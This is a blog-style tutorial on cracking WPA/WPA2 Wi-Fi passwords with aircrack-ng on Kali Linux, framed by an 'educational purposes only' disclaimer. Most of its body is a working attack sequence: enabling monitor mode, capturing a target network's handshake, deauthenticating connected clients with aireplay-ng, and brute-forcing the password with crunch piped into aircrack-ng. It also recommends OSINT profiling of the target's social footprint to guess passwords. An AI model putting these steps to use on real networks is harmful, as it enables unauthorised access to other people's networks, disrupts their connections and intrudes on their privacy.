WPA-WPA2 Wi-Fi Hacking: A Step-by-Step Guide
Disclaimer:The content provided in this blog is intended for educational purposes only. The information shared here is meant to contribute to the understanding of cybersecurity and ethical hacking in a responsible and legal manner.
Introduction
Wi-Fi security is a crucial aspect of digital privacy, and understanding how vulnerabilities can be exploited is essential for network administrators and cybersecurity enthusiasts. In this tutorial, we’ll explore the process of hacking WPA-WPA2-protected Wi-Fi networks for educational purposes using Aircrack-ng on Kali Linux.
Tools Required
Before diving into the process, make sure you have the following tools:
- Network Adapter (e.g., TL-WN722N V2) with monitoring mode support.
- Kali Linux installed on your machine.
- Aircrack-ng
- Airodump-ng
- Airmon-ng
- Crunch
Monitoring Mode Setup
Step 1: Kill Interrupting Services
- Before enabling monitoring mode, identify and kill services that might interrupt the process:
sudo airmon-ng check wlan0
sudo airmon-ng check kill
Step 2: Enable Monitoring Mode
- Stop the WLAN interface and enable monitor mode:
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up- Verify the mode using:
iwconfig
Packet Capture and 4-way Handshake
Step 3: Capture BSSID and Monitor Network
- Use
airodump-ngto capture BSSID information:
airodump-ng wlan0
- Select a specific BSSID for monitoring and run:
airodump-ng -c 1 -w Scan_network --bssid EW:WV:4H:J7:A5:28 wlan0
- Run the above command in the background.
Step 4: Deauthentication Process
- Deauthenticate the target Wi-Fi to capture the 4-way handshake:
sudo aireplay-ng -0 0 -a EW:WV:4H:J7:A5:28 wlan0
- Run the command until you see the 4-way handshake in the background code.
Final Stage: Password Cracking with Crunch and Aircrack-ng
- After capturing the 4-way handshake, the final step involves cracking the Wi-Fi password using
Crunchandaircrack-ng. It's important to note that the success of this process heavily depends on various factors, including the complexity and length of the password.
Using Crunch for Password Generation
- In this example, I used
Crunchto generate possible passwords. Since I knew the Wi-Fi password consisted of only numeric characters, the command was tailored accordingly:
sudo crunch 8 8 123456780 | aircrack-ng -w - Scan_Kamalesh-01.cap -e KamaleshD
Note:
Modify the
crunchcommand based on your knowledge of the password, such as adjusting the length or character set.
Password Length and OSINT
If you don’t know the password, attempting to crack it by testing all possible combinations is an extremely time-consuming process. The number of possibilities can be in the billions, making it practically impossible to crack on a standard PC within a reasonable timeframe.
In such cases, consider leveraging Open Source Intelligence (OSINT) techniques. Analyze social footprints, gather information about the target’s preferences, and try to determine the likely length and complexity of the password. This approach can significantly reduce the search space and increase the chances of successful password guessing.
Remember, ethical hacking involves responsible and legal use of knowledge. Always respect privacy and adhere to ethical standards when engaging in cybersecurity activities.
Conclusion
Ethical hacking involves understanding vulnerabilities to enhance security measures. This guide aims to provide insights into Wi-Fi security, emphasizing responsible and legal use of knowledge. Always respect privacy and adhere to ethical standards when exploring cybersecurity.
